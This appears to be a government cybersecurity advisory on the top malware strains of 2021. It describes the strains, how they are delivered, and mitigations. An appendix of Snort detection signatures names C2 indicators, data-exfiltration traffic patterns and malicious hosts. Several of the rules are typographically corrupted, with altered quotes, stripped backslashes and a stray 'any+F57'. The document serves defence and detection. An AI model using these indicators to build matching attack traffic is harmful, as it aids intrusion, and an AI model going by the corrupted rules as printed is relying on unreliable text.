  • Qakbot and TrickBot are used to form botnets and are developed and operated by Eurasian cyber criminals known for using or brokering botnet-enabled access to facilitate highly lucrative ransomware attacks. Eurasian cyber criminals enjoy permissive operating environments in Russia and other former Soviet republics.
  • According to U.S. government reporting, TrickBot malware often enables initial access for Conti ransomware, which was used in nearly 450 global ransomware attacks in the first half of 2021. As of 2020, malicious cyber actors have purchased access to systems compromised by TrickBot malware on multiple occasions to conduct cybercrime operations.
  • In 2021, cyber criminals conducted mass phishing campaigns with Formbook, Agent Tesla, and Remcos malware that incorporated COVID-19 pandemic themes to steal personal data and credentials from businesses and individuals.

In the criminal malware industry, including malware as a service (MaaS), developers create malware that malware distributors often broker to malware end-users.[2] Developers of these top 2021 malware strains continue to support, improve, and distribute their malware over several years. Malware developers benefit from lucrative cyber operations with low risk of negative consequences. Many malware developers often operate from locations with few legal prohibitions against malware development and deployment. Some developers even market their malware products as legitimate cyber security tools. For example, the developers of Remcos and Agent Tesla have marketed the software as legitimate tools for remote management and penetration testing. Malicious cyber actors can purchase Remcos and Agent Tesla online for low cost and have been observed using both tools for malicious purposes.

Top Malware

Agent Tesla

  • Overview: Agent Tesla is capable of stealing data from mail clients, web browsers, and File Transfer Protocol (FTP) servers. This malware can also capture screenshots, videos, and Windows clipboard data. Agent Tesla is available online for purchase under the guise of being a legitimate tool for managing your personal computer. Its developers continue to add new functionality, including obfuscation capabilities and targeting additional applications for credential stealing.[3][4]
  • Active Since: 2014
  • Malware Type: RAT
  • Delivery Method: Often delivered as a malicious attachment in phishing emails.
  • Resources: See the MITRE ATT&CK page on Agent Tesla.

AZORult

  • Overview: AZORult is used to steal information from compromised systems. It has been sold on underground hacker forums for stealing browser data, user credentials, and cryptocurrency information. AZORult’s developers are constantly updating its capabilities.[5][6]
  • Active Since: 2016
  • Malware Type: Trojan
  • Delivery Method: Phishing, infected websites, exploit kits (automated toolkits exploiting known software vulnerabilities), or via dropper malware that downloads and installs AZORult.
  • Resources: See the MITRE ATT&CK page on AZORult and the Department of Health and Human Services (HHS)’s AZORult brief.

FormBook

  • Overview: FormBook is an information stealer advertised in hacking forums. ForrmBook is capable of key logging and capturing browser or email client passwords, but its developers continue to update the malware to exploit the latest Common Vulnerabilities and Exposures (CVS)[7], such as CVE-2021-40444 Microsoft MSHTML Remote Code Execution Vulnerability.[8][9]
  • Active Since: At least 2016
  • Malware Type: Trojan
  • Delivery Method: Usually delivered as an attachment in phishing emails.
  • Resources: See Department of Health and Human Services (HHS)’s Sector Note on Formbook Malware Phishing Campaigns.

Ursnif

  • Overview: Ursnif is a banking Trojan that steals financial information. Also known as Gozi, Ursnif has evolved over the years to include a persistence mechanism, methods to avoid sandboxes and virtual machines, and search capability for disk encryption software to attempt key extraction for unencrypting files.[10][11][12] Based on information from trusted third parties, Ursnif infrastructure is still active as of July 2022.
  • Active Since: 2007
  • Malware Type: Trojan
  • Delivery Method: Usually delivered as a malicious attachment to phishing emails.
  • Resources: See the MITRE ATT&CK page on Ursnif.

LokiBot

  • Overview: LokiBot is a Trojan malware for stealing sensitive information, including user credentials, cryptocurrency wallets, and other credentials. A 2020 LokiBot variant was disguised as a launcher for the Fortnite multiplayer video game.[13][14]
  • Active Since: 2015
  • Malware Type: Trojan
  • Delivery Method: Usually delivered as a malicious email attachment.
  • Resources: See CISA’s LokiBot Malware alert and the MITRE ATT&CK page on LokiBot.

MOUSEISLAND

  • Overview: MOUSEISLAND is usually found within the embedded macros of a Microsoft Word document and can download other payloads. MOUSEISLAND may be the initial phase of a ransomware attack.[15]
  • Active Since: At least 2019
  • Malware Type: Macro downloader
  • Delivery Method: Usually distributed as an email attachment.
  • Resources: See Mandiant’s blog discussing MOUSEISLAND.

NanoCore

  • Overview: NanoCore is used for stealing victims’ information, including passwords and emails. NanoCore could also allow malicious users to activate computers’ webcams to spy on victims. Malware developers continue to develop additional capabilities as plug-ins available for purchase or as a malware kit or shared amongst malicious cyber actors.[16][17][18]
  • Active Since: 2013
  • Malware Type: RAT
  • Delivery Method: Has been delivered in an email as an ISO disk image within malicious ZIP files; also found in malicious PDF documents hosted on cloud storage services.
  • Resources: See the MITRE ATT&CK page on NanoCore and the HHS Sector Note: Remote Access Trojan Nanocore Poses Risk to HPH Sector.

Qakbot

  • Overview: originally observed as a banking Trojan, Qakbot has evolved in its capabilities to include performing reconnaissance, moving laterally, gathering and exfiltrating data, and delivering payloads. Also known as QBot or Pinksliplot, Qakbot is modular in nature enabling malicious cyber actors to configure it to their needs. Qakbot can also be used to form botnets.[19][20]
  • Active Since: 2007
  • Malware Type: Trojan
  • Delivery Method: May be delivered via email as malicious attachments, hyperlinks, or embedded images.
  • Resources: See the MITRE ATT&CK page on Qakbot and the Department of Health and Human Services (HHS) Qbot/Qakbot Malware brief.

Remcos

  • Overview: Remcos is marketed as a legitimate software tool for remote management and penetration testing. Remcos, short for Remote Control and Surveillance, was leveraged by malicious cyber actors conducting mass phishing campaigns during the COVID-19 pandemic to steal personal data and credentials. Remcos installs a backdoor onto a target system. Malicious cyber actors then use the Remcos backdoor to issue commands and gain administrator privileges while bypassing antivirus products, maintaining persistence, and running as legitimate processes by injecting itself into Windows processes.[21][22]
  • Active Since: 2016
  • Malware Type: RAT
  • Delivery Method: Usually delivered in phishing emails as a malicious attachment.
  • Resources: See the MITRE ATT&CK page on Remcos.

TrickBot

  • Overview: TrickBot malware is often used to form botnets or enabling initial access for the Conti ransomware or Ryuk banking trojan. TrickBot is developed and operated by a sophisticated group of malicious cyber actors and has evolved into a highly modular, multi-stage malware. In 2020, cyber criminals used TrickBot to target the Healthcare and Public Health (HPH) Sector and then launch ransomware attacks, exfiltrate data, or disrupt healthcare services. Based on information from trusted third parties, TrickBot’s infrastructure is still active in July 2022.[23][24][25][26]
  • Active Since: 2016
  • Malware Type: Trojan
  • Delivery Method: Usually delivered via email as a hyperlink.
  • Resources: See the MITRE ATT&CK page on Trickbot and the Joint CSA on TrickBot Malware.

GootLoader

  • Overview: GootLoader is a malware loader historically associated with the GootKit malware. As its developers updated its capabilities, GootLoader has evolved from a loader downloading a malicious payload into a multi-payload malware platform. As a loader malware, GootLoader is usually the first-stage of a system compromise. By leveraging search engine poisoning, GootLoader’s developers may compromise or create websites that rank highly in search engine results, such as Google search results.[27]
  • Active Since: At least 2020
  • Malware Type: Loader
  • Delivery Method: Malicious files available for download on compromised websites that rank high as search engine results
  • Resources: See New Jersey’s Cybersecurity & Communications Integration Cell (NJCCIC) page on GootLooader and BlackBerry’s Blog on GootLoader.

Mitigations

Below are the steps that CISA and ACSC recommend organizations take to improve their cybersecurity posture based on known adversary tactics, techniques, and procedures (TTPs). CISA and ACSC urge critical infrastructure organizations to prepare for and mitigate potential cyber threats immediately by (1) updating software, (2) enforcing MFA, (3) securing and monitoring RDP and other potentially risky services, (4) making offline backups of your data, and (5) providing end-user awareness and training.

  • Update software, including operating systems, applications, and firmware, on IT network assets. Prioritize patching known exploited vulnerabilities and critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet-facing equipment.
    • Consider using a centralized patch management system.
    • Consider signing up for CISA’s cyber hygiene services, including vulnerability scanning, to help reduce exposure to threats. CISA’s vulnerability scanning service evaluates external network presence by executing continuous scans of public, static IP addresses for accessible services and vulnerabilities.
  • Enforce MFA to the greatest extent possible and require accounts with password logins, including service accounts, to have strong passwords. Do not allow passwords to be used across multiple accounts or stored on a system to which an adversary may have access. Additionally, ACSC has issued guidance on implementing multifactor authentication for hardening authentication systems.
  • If you use RDP and/or other potentially risky services, secure and monitor them closely. RDP exploitation is one of the top initial infection vectors for ransomware, and risky services, including RDP, can allow unauthorized access to your session using an on-path attacker.
    • Limit access to resources over internal networks, especially by restricting RDP and using virtual desktop infrastructure. After assessing risks, if RDP is deemed operationally necessary, restrict the originating sources, and require MFA to mitigate credential theft and reuse. If RDP must be available externally, use a virtual private network (VPN) or other means to authenticate and secure the connection before allowing RDP to connect to internal devices. Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts to block brute force attempts, log RDP login attempts, and disable unused remote access/RDP ports.
    • Ensure devices are properly configured and that security features are enabled. Disable ports and protocols that are not being used for a business purpose (e.g., RDP Transmission Control Protocol Port 3389). 
  • Maintain offline (i.e., physically disconnected) backups of data. Backup procedures should be conducted on a frequent, regular basis (at a minimum every 90 days). Regularly test backup procedures and ensure that backups are isolated from network connections that could enable the spread of malware.
    • Ensure the backup keys are kept offline as well, to prevent them being encrypted in a ransomware incident.
    • Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure with a particular focus on key data assets.
  • Provide end-user awareness and training to help prevent successful targeted social engineering and spearphishing campaigns. Phishing is one of the top infection vectors for ransomware.
    • Ensure that employees are aware of potential cyber threats and delivery methods.
    • Ensure that employees are aware of what to do and whom to contact when they receive a suspected phishing email or suspect a cyber incident.

As part of a longer-term effort, implement network segmentation to separate network segments based on role and functionality. Network segmentation can help prevent the spread of ransomware and threat actor lateral movement by controlling traffic flows between—and access to—various subnetworks. The ACSC has observed ransomware and data theft incidents in which Australian divisions of multinational companies were impacted by ransomware incidents affecting assets maintained and hosted by offshore divisions outside their control.

RESOURCES

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. CISA and ACSC do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring.

APPENDIX: SNORT SIGNATURES FOR THE TOP 2021 MALWARE

Malware

Snort Detection Signature

Agent Tesla

alert any any -> any any (msg:”HTTP GET request /aw/aw.exe”; flow:established,to_server; sid:1; rev:1; content:”GET”; http_method; content:”/aw/aw.exe”; http_uri; reference:url, https://www.datto.com/blog/what-is-agent-tesla-spyware-and-how-does-it-work; metadata:service http;)

AZORult

alert tcp any any -> any any (msg: »HTTP Server Content Data contains ‘llehS|2e|tpircSW' »; sid:1; rev:1; flow:established,from_server; file_data; content: »llehS|2e|tpircSW »; nocase; fast_pattern:only; pcre: »/GCM(?:x20|%20)*W-O*/i »; reference:url,maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/; metadata:service http;)

AZORult

alert tcp any any -> any any (msg: »HTTP POST Client Body contains ‘J/|fb|’ and ‘/|fb|' »; sid:1; rev:1; flow:established,to_server; content: »POST »; http_method; content: ».php »; http_uri; content: »J/|fb| »; http_client_body; fast_pattern; content: »/|fb| »; http_client_body; depth:11; content:! »Referer|3a 20| »; http_header; metadata:service http;)

FormBook

alert tcp any any -> any any (msg: »HTTP URI POST contains ‘&sql=1’ at the end »; sid:1; rev:1; flow:established,to_server; content: »&sql=1″; http_uri; fast_pattern:only; content: »POST »; http_method; pcre: »/(?(DEFINE)(?’b64std'[a-zA-Z0-9+/=]+?))(?(DEFINE)(?’b64url'[a-zA-Z0-9_-]+?))^/[a-z0-9]{3,4}/?(?P>b64url){3,8}=(?P>b64std){40,90}&(?P>b64url){2,6}=(?P>b64url){4,11}&sql=1$/iU »; reference:url,www.malware-traffic-analysis.net/2018/02/16/index.html; metadata:service http;)

alert tcp any any -> any any (msg: »HTTP URI GET/POST contains ‘/list/hx28/config.php?id=' »; sid:1; rev:1; flow:established,to_server; content: »/list/hx28/config.php?id= »; http_uri; fast_pattern:only; content: »Connection|3a 20|close|0d 0a| »; http_header; reference:url,www.fireeye.com/blog/threat-research/2017/10/formbook-malware-distribution-campaigns.html; metadata:service http;)

Ursnif

alert tcp any any -> any any (msg: »HTTP POST Data contains .bin filename, long URI contains ‘/images/' »; sid:1; rev:1; flow:established,to_server;  urilen:>60,norm; content: »/images/ »; http_uri; depth:8; content: »POST »; nocase; http_method; content: »Content-Disposition|3a 20|form-data|3b 20|name=|22|upload_file|22 3b 20|filename=|22| »; http_client_body; content: »|2e|bin|22 0d 0a| »; http_client_body; distance:1; within:32; fast_pattern;  reference:url,www.broadanalysis.com/2016/03/23/angler-ek-sends-data-stealing-payload/; metadata:service http;)

alert tcp any any -> any any (msg: »HTTP URI GET/POST contains ‘/images/’ plus random sub directories and an Image File (Ursnif) »; sid:1; rev:1; flow:established,to_server;  content: »/images/ »; http_uri; fast_pattern:only; content:! »Host: www.urlquery.net »; http_header; pcre: »//images(/(?=[a-z0-9_]{0,22}[A-Z][a-z0-9_]{0,22}[A-Z])(?=[A-Z0-9_]{0,22}[a-z])[A-Za-z0-9_]{1,24}){5,20}/[a-zA-Z0-9_]+.(?:gif|jpeg|jpg|bmp)$/U »; metadata:service http)

LokiBot

alert tcp any any -> any any (msg: »HTTP Client Header contains ‘User-Agent|3a 20|Mozilla/4.08 (Charon|3b| Inferno)' »; sid:1; rev:1; flow:established,to_server; content: »User-Agent|3a 20|Mozilla/4.08 (Charon|3b| Inferno)|0d 0a| »; http_header; fast_pattern:only; metadata:service http; )

LokiBot

alert tcp any any -> any any (msg: »HTTP URI POST contains ‘/*/fre.php’ post-infection »; sid:1; rev:1; flow:established,to_server; content: »/fre.php »; http_uri; fast_pattern:only; urilen:<50,norm; content: »POST »; nocase; http_method; pcre: »//(?:alien|lokyd|donep|jemp|lokey|new2|loki|Charles|sev7n|dbwork|scroll/NW|wrk|job|fived?|donemy|animationdkc|love|Masky|vd|lifetn|Ben)/fre.php$/iU »; metadata:service http;)

LokiBot

alert tcp any any -> any any (msg: »HTTP URI POST contains ‘/w.php/' »; sid:1; rev:1; flow:established,to_server; content: »/w.php/ »; http_uri; fast_pattern:only; content: »POST »; nocase; http_method; pcre: »//w+/w.php/[a-z]{13}$/iU »;  metadata:service http;)

MOUSEISLAND

alert tcp any any -> any any (msg: »HTTP URI GET contains ‘/assets/<8-80 hex>/<4-16 alnum>?<3-6 alnum>=' »; sid:9206287; rev:1; flow:established,to_server; content: »/assets/ »; http_uri; fast_pattern:only; content: »HTTP/1.1|0d 0a| »; depth:256; content:! »|0d 0a|Cookie: »; content:! »|0d 0a|Referer: »; pcre: »//assets/[a-fA-F0-9/]{8,80}/[a-zA-Z0-9]{4,16}?[a-z0-9]{3,6}=/U »;  metadata:service http;)

NanoCore

alert tcp any any -> any 25 (msg: »SMTP Attachment Filename ‘Packinglist-Invoice101.pps' »; sid:1; rev:1; flow:established,to_server,only_stream; content: »Content-Disposition|3a 20|attachment|3b| »; content: »Packinglist-Invoice101.pps »; nocase; distance:0; fast_pattern; pcre: »/Content-Dispositionx3ax20attachmentx3b[x20trn]+?(?:file)*?name=x22*?Packinglist-Invoice101.ppsx22*?/im »; reference:cve,2014-4114; reference:msb,MS14-060; reference:url,researchcenter.paloaltonetworks.com/2015/06/keybase-keylogger-malware-family-exposed/; reference:url,www.fidelissecurity.com/sites/default/files/FTA_1017_Phishing_in_Plain_Sight-Body-FINAL.pdf; reference:url,www.fidelissecurity.com/sites/default/files/FTA_1017_Phishing_in_Plain_Sight-Appendix-FINAL.pdf;)

NanoCore

alert tcp any any -> any any (msg: »HTTP Client Header contains ‘Host|3a 20|frankief hopto me’ (GenericKD/Kazy/NanoCore/Recam) »; sid:1; rev:1; flow:established,to_server; content: »Host|3a 20|frankief|2e|hopto|2e|me|0d 0a| »; http_header; fast_pattern:only;  metadata:service http;)

NanoCore

alert tcp any any -> any any (msg: »HTTP GET URI contains ‘FAD00979338′ »; sid:1; rev:1; flow:established,to_server; content: »GET »; http_method; content: »getPluginName.php?PluginID=FAD00979338″; fast_pattern; http_uri; metadata:service http;)

Qakbot

alert tcp any any -> any any (msg: »HTTP URI GET /t?v=2&c= (Qakbot) »; sid:1; rev:1; flow:established,to_server; content: »/t?v=2&c= »; http_uri; depth:9; fast_pattern; reference:url,www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_qakbot_in_detail.pdf;)

Qakbot

alert tcp any any -> any 21 (msg: »Possible FTP data exfiltration »; sid:1; rev:1; flow:to_server,established; content: »STOR si_ »; content: ».cb »; within:50; reference:url,attack.mitre.org/techniques/T1020; reference:url,www.virustotal.com/en/file/3104ff71bf880bc40d096eca7d1ccc3f762ea6cc89743c6fef744fd76d441d1b/analysis/; metadata:service ftp-ctrlchan;)

Qakbot

alert tcp any any -> any any (msg: »Malicious executable download attempt »; sid:1; rev:1; flow:to_client,established; file_type:MSEXE; file_data; content: »|52 DB 91 CB FE 67 30 9A 8E 72 28 4F 1C A9 81 A1 AA BE AC 8D D9 AB E4 15 EF EA C6 73 89 9F CF 2E| »; fast_pattern:only; reference:url,virustotal.com/#/file/ad815edc045c779628db3a3397c559ca08f012216dfac4873f11044b2aa1537b/detection; metadata:service http;)

Qakbot

alert tcp any any -> any any (msg: »HTTP POST URI contains ‘odin/si.php?get&' »; sid:1; rev:1; flow:to_server,established; content: »/odin/si.php?get& »; fast_pattern:only; http_uri; content: »news_slist »; http_uri; content: »comp= »; http_uri;  reference:url,www.virustotal.com/en/file/478132b5c80bd41b8c11e5ed591fdf05d52e316d40f7c4abf4bfd25db2463dff/analysis/1464186685/; metadata:service http;)

Qakbot

alert tcp any any -> any any (msg: »HTTP URI contains ‘/random750x750.jpg?x=' »; sid:1; rev:1; flow:to_server,established; content: »/random750x750.jpg?x= »; fast_pattern:only; http_uri; content: »&y= »; http_uri; content: »Accept|3a 20|application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, */*|0d 0a| »; http_header; content: »Cache-Control|3a 20|no-cache|0d 0a| »; http_header; content:! »Accept-« ; http_header; content:! »Referer »; http_header;  reference:url,www.virustotal.com/en/file/1826dba769dad9898acd95d6bd026a0b55d0a093a267b481695494f3ab547088/analysis/1461598351/; metadata:service http;)

Qakbot

alert tcp any any -> any any (msg: »HTTP URI contains ‘/datacollectionservice.php3′ »; sid:1; rev:1; flow:to_server,established; content: »/datacollectionservice.php3″; fast_pattern:only; http_uri; metadata:service http;)

Qakbot

alert tcp any any -> any any (msg: »HTTP header contains ‘Accept|3a 20|application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, */*|0d 0a|' »; sid:1; rev:1; flow:to_server,established; urilen:30<>35,norm; content: »btst= »; http_header; content: »snkz= »; http_header; content: »Accept|3a 20|application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, */*|0d 0a| »; fast_pattern:only; http_header; content: »Cache-Control|3a 20|no-cache|0d 0a| »; http_header; content:! »Connection »; http_header; content:! »Referer »; http_header;  reference:url,www.virustotal.com/en/file/1826dba769dad9898acd95d6bd026a0b55d0a093a267b481695494f3ab547088/analysis/1461598351/; metadata:service http;)

Qakbot

alert tcp any any -> any 21 (msg: »Possible ps_dump FTP exfil »; sid:1; rev:1; flow:to_server,established; content: »ps_dump »; fast_pattern:only; pcre: »/ps_dump_[^_]+_[a-z]{5}d{4}x2Ekcb/smi »;  reference:url,www.threatexpert.com/report.aspx?md5=8171d3223f89a495f98c4e3a65537b8f; metadata:service ftp;)

Qakbot

alert tcp any any -> any 21 (msg: »Possible seclog FTP exfil »; sid:1; rev:1; flow:to_server,established; content: »seclog »; fast_pattern:only; pcre: »/seclog_[a-z]{5}d{4}_d{10}x2Ekcb/smi »;  reference:url,www.threatexpert.com/report.aspx?md5=8171d3223f89a495f98c4e3a65537b8f; metadata:service ftp;)

Qakbot

alert tcp any any -> any any (msg: »HTTP URI contains ‘/cgi-bin/jl/jloader.pl' »; sid:1; rev:1; flow:to_server,established; content: »/cgi-bin/jl/jloader.pl »; fast_pattern:only; http_uri;  reference:url,www.threatexpert.com/report.aspx?md5=8171d3223f89a495f98c4e3a65537b8f; metadata:service http;)

Qakbot

alert tcp any any -> any any (msg: »HTTP URI contains ‘/cgi-bin/clientinfo3.pl' »; sid:1; rev:1; flow:to_server,established; content: »/cgi-bin/clientinfo3.pl »; fast_pattern:only; http_uri;  reference:url,www.threatexpert.com/report.aspx?md5=8171d3223f89a495f98c4e3a65537b8f; metadata:service http;)

Qakbot

alert tcp any any -> any any (msg: »HTTP URI contains ‘/u/updates.cb' »; sid:1; rev:1; flow:to_server,established; content: »/u/updates.cb »; fast_pattern:only; http_uri; pcre: »/^Hostx3A[^rn]+((upd+)|(adserv))/Hmi »; reference:url,www.threatexpert.com/report.aspx?md5=8171d3223f89a495f98c4e3a65537b8f; metadata:service http;)

Qakbot

alert tcp any any -> any any (msg: »HTTP response content contains ‘|47 65 74 46 69 6C 65 46 72 6F 6D 52 65 73 6F 75 72 63 65 73 28 29 3A 20 4C 6F 61 64 52 65 73 6F 75 72 63 65 28 29 20 66 61 69 6C 65 64|' »; sid:1; rev:1; flow:to_client,established; file_data; content: »|47 65 74 46 69 6C 65 46 72 6F 6D 52 65 73 6F 75 72 63 65 73 28 29 3A 20 4C 6F 61 64 52 65 73 6F 75 72 63 65 28 29 20 66 61 69 6C 65 64| »; fast_pattern:only; content: »|47 65 74 46 69 6C 65 46 72 6F 6D 52 65 73 6F 75 72 63 65 73 28 29 3A 20 43 72 65 61 74 65 46 69 6C 65 28 29 20 66 61 69 6C 65 64| »; content: »|52 75 6E 45 78 65 46 72 6F 6D 52 65 73 28 29 20 73 74 61 72 74 65 64| »; content: »|73 7A 46 69 6C 65 50 61 74 68 3D| »; content: »|5C 25 75 2E 65 78 65| »; reference:url,www.virustotal.com/en/file/23e72e8b5e7856e811a326d1841bd2ac27ac02fa909d0a951b0b8c9d1d6aa61c/analysis; metadata:service ftp-data,service http;)

Qakbot

alert tcp any any -> any any (msg: »HTTP POST URI contains ‘v=3&c=' »; sid:1; rev:1; flow:to_server,established; content: »/t »; http_uri; content: »POST »; http_method; content: »v=3&c= »; depth:6; http_client_body; content: »== »; within:2; distance:66; http_client_body;  reference:url,www.virustotal.com/en/file/3104ff71bf880bc40d096eca7d1ccc3f762ea6cc89743c6fef744fd76d441d1b/analysis/; metadata:service http;)

Qakbot

alert tcp any any -> any any (msg: »HTTP URI GET contains ‘/<alpha>/595265.jpg' »; sid:1; rev:1; flow:established,to_server; content: »/595265.jpg »; http_uri; fast_pattern:only; content: »GET »; nocase; http_method; pcre: »/^/[a-z]{5,15}/595265.jpg$/U »;  reference:url,www.virustotal.com/gui/file/3104ff71bf880bc40d096eca7d1ccc3f762ea6cc89743c6fef744fd76d441d1b/detection; metadata:service http;)

Remcos

alert tcp any any -> any any (msg: »Non-Std TCP Client Traffic contains ‘|1b 84 d5 b0 5d f4 c4 93 c5 30 c2|’ (Checkin #23) »; sid:1; rev:1; flow:established,to_server; dsize:<700; content: »|1b 84 d5 b0 5d f4 c4 93 c5 30 c2| »; depth:11; fast_pattern; content: »|da b1| »; distance:2; within:2;  reference:url,blog.trendmicro.com/trendlabs-security-intelligence/analysis-new-remcos-rat-arrives-via-phishing-email/; reference:url,isc.sans.edu/forums/diary/Malspam+using+passwordprotected+Word+docs+to+push+Remcos+RAT/25292/; reference:url,www.malware-traffic-analysis.net/2019/09/03/index.html; reference:url,www.malware-traffic-analysis.net/2017/10/27/index.html;)

TrickBot

alert tcp any any -> any any (msg: »HTTP Client Header contains ‘host|3a 20|tpsci.com' »; sid:1; rev:1; flow:established,to_server; content: »host|3a 20|tpsci.com »; http_header; fast_pattern:only; metadata:service http;)

TrickBot

alert tcp any any -> any any (msg: »HTTP Client Header contains ‘User-Agent|3a 20|*Loader' »; sid:1; rev:1; flow:established,to_server; content: »User-Agent|3a 20| »; http_header; content: »Loader|0d 0a| »; nocase; http_header; distance:0; within:24; fast_pattern; metadata:service http;)

TrickBot

alert udp any any <> any 53 (msg: »DNS Query/Response onixcellent com (UDP) »; sid:1; rev:1; content: »|0B|onixcellent|03|com|00| »; fast_pattern:only; reference:url,medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30; priority:1; metadata:service dns;)

TrickBot

alert tcp any any -> any any (msg: »SSL/TLS Server X.509 Cert Field contains ‘C=XX, L=Default City, O=Default Company Ltd' »; sid:1; rev:2; flow:established,from_server; ssl_state:server_hello; content: »|31 0b 30 09 06 03 55 04 06 13 02|XX »; nocase; content: »|31 15 30 13 06 03 55 04 07 13 0c|Default City »; nocase; content: »|31 1c 30 1a 06 03 55 04 0a 13 13|Default Company Ltd »; nocase; content:! »|31 0c 30 0a 06 03 55 04 03| »;  reference:url,www.virustotal.com/gui/file/e9600404ecc42cf86d38deedef94068db39b7a0fd06b3b8fb2d8a3c7002b650e/detection; metadata:service ssl;)

TrickBot

alert tcp any any -> any any (msg: »SSL/TLS Server X.509 Cert Field contains ‘C=AU, ST=Some-State, O=Internet Widgits Pty Ltd' »; sid:1; rev:1; flow:established,from_server; ssl_state:server_hello; content: »|31 0b 30 09 06 03 55 04 06 13 02|AU »; content: »|31 13 30 11 06 03 55 04 08 13 0a|Some-State »; distance:0; content: »|31 21 30 1f 06 03 55 04 0a 13 18|Internet Widgits Pty Ltd »; distance:0; fast_pattern; content: »|06 03 55 1d 13 01 01 ff 04 05 30 03 01 01 ff| »;  reference:url,www.virustotal.com/gui/file/e9600404ecc42cf86d38deedef94068db39b7a0fd06b3b8fb2d8a3c7002b650e/detection; metadata:service ssl;)

TrickBot

alert tcp any any -> any any (msg: »HTTP Client Header contains ‘boundary=Arasfjasu7′ »; sid:1; rev:1; flow:established,to_server; content: »boundary=Arasfjasu7|0d 0a| »; http_header; content: »name=|22|proclist|22| »; http_header; content:! »Referer »; content:! »Accept »; content: »POST »; http_method; metadata:service http;)

TrickBot

alert tcp any any -> any any (msg: »HTTP Client Header contains ‘User-Agent|3a 20|WinHTTP loader/1.' »; sid:1; rev:1; flow:established,to_server; content: »User-Agent|3a 20|WinHTTP loader/1. »; http_header; fast_pattern:only; content: ».png|20|HTTP/1. »; pcre: »/^Hostx3ax20(?:d{1,3}.){3}d{1,3}(?:x3ad{2,5})?$/mH »; content:! »Accept »; http_header; content:! »Referer|3a 20| »; http_header; metadata:service http;)

TrickBot

alert tcp any any -> any any (msg: »HTTP Server Header contains ‘Server|3a 20|Cowboy' »; sid:1; rev:1; flow:established,from_server; content: »200″; http_stat_code; content: »Server|3a 20|Cowboy|0d 0a| »; http_header; fast_pattern; content: »content-length|3a 20|3|0d 0a| »; http_header; file_data; content: »/1/ »; depth:3; isdataat:!1,relative; metadata:service http;)

TrickBot

alert tcp any any -> any any (msg: »HTTP URI POST contains C2 Exfil »; sid:1; rev:1; flow:established,to_server; content: »Content-Type|3a 20|multipart/form-data|3b 20|boundary=——Boundary »; http_header; fast_pattern; content: »User-Agent|3a 20| »; http_header; distance:0; content: »Content-Length|3a 20| »; http_header; distance:0; content: »POST »; http_method; pcre: »/^/[a-z]{3}d{3}/.+?.[A-F0-9]{32}/d{1,3}//U »; pcre: »/^Hostx3ax20(?:d{1,3}.){3}d{1,3}$/mH »; content:! »Referer|3a| »; http_header; metadata:service http;)

TrickBot

alert tcp any any -> any any (msg: »HTTP URI GET/POST contains ‘/56evcxv' »; sid:1; rev:1; flow:established,to_server; content: »/56evcxv »; http_uri; fast_pattern:only;  metadata:service http;)

TrickBot

alert icmp any any -> any any (msg: »ICMP traffic conatins ‘hanc' »; sid:1; rev:1; itype:8; icode:0; dsize:22; content: »hanc »; depth:4; fast_pattern; pcre: »/hanc[0-9a-f]{16}../i »;  reference:url,labs.sentinelone.com/anchor-project-for-trickbot-adds-icmp/;)

TrickBot

alert tcp any any -> any any (msg: »HTTP Client Header contains POST with ‘host|3a 20|*.onion.link’ and ‘data=' »; sid:1; rev:1; flow:established,to_server; content: »POST »; nocase; http_method; content: »host|3a 20| »; http_header; content: ».onion.link »; nocase; http_header; distance:0; within:47; fast_pattern; file_data; content: »data= »; distance:0; within:5; metadata:service http;)

TrickBot

alert tcp any 80 -> any any (msg: »Non-Std TCP Client Traffic contains PowerView Script Download String »; sid:1; rev:1; flow:established,from_server; content: »PowerView.ps1″; content: »PSReflect/master/PSReflect.psm1″; fast_pattern:only; content: »function New-InMemoryModule »; metadata:service else-ports;)

TrickBot

alert tcp any any -> any 445 (msg: »Non-Std TCP Client SMB Traffic contains ‘44783m8uh77g818_nkubyhu5vfxxbh878xo6hlttkppzf28tsdu5kwppk_11c1jl' »; sid:1; rev:1; flow:established,to_server; content: »44783m8uh77g818_nkubyhu5vfxxbh878xo6hlttkppzf28tsdu5kwppk_11c1jl »; fast_pattern:only; metadata:service netbios-ssn,service and-ports;)

TrickBot

alert tcp any any -> any [80,443,8082] (msg: »Non-Std TCP Client Traffic contains ‘–aksgja8s8d8a8s97′ »; sid:1; rev:1; flow:established,to_server; content: »–aksgja8s8d8a8s97″; fast_pattern:only; content: »name=|22|proclist|22| »;  metadata:service else-ports;)

TrickBot

alert tcp any any -> any any (msg: »HTTP Client Header contains ‘User-Agent|3a 20|WinHTTP loader/1.0′ »; sid:1; rev:1; flow:established,to_server; content: »User-Agent|3a 20|WinHTTP loader/1.0|0d 0a| »; http_header; fast_pattern:only; pcre: »//t(?:oler|able).png/U »; metadata:service http;)

TrickBot

alert tcp any any -> any [443,8082] (msg: »Non-Std TCP Client Traffic contains ‘_W<digits>.' »; sid:1; rev:1; flow:established,to_server; content: »_W »; fast_pattern:only; pcre: »/_Wd{6,8}./ »; metadata:service else-ports;)

TrickBot

alert tcp any [443,447] -> any any (msg: »SSL/TLS Server X.509 Cert Field contains ‘example.com’ (Hex) »; sid:1; rev:1; flow:established,from_server; ssl_state:server_hello; content: »|0b|example.com »; fast_pattern:only; content: »Global Security »; content: »IT Department »; pcre: »/(?:x09x00xc0xb9x3bx93x72xa3xf6xd2|x00xe2x08xffxfbx7bx53x76x3d)/ »;  metadata:service ssl,service and-ports;)

TrickBot

alert tcp any any -> any any+F57 (msg: »HTTP URI GET contains ‘/anchor' »; sid:1; rev:1; flow:established,to_server; content: »/anchor »; http_uri; fast_pattern:only; content: »GET »; nocase; http_method; pcre: »/^/anchor_?.{3}/[w_-]+.[A-F0-9]+/?$/U »; metadata:service http;)

TrickBot

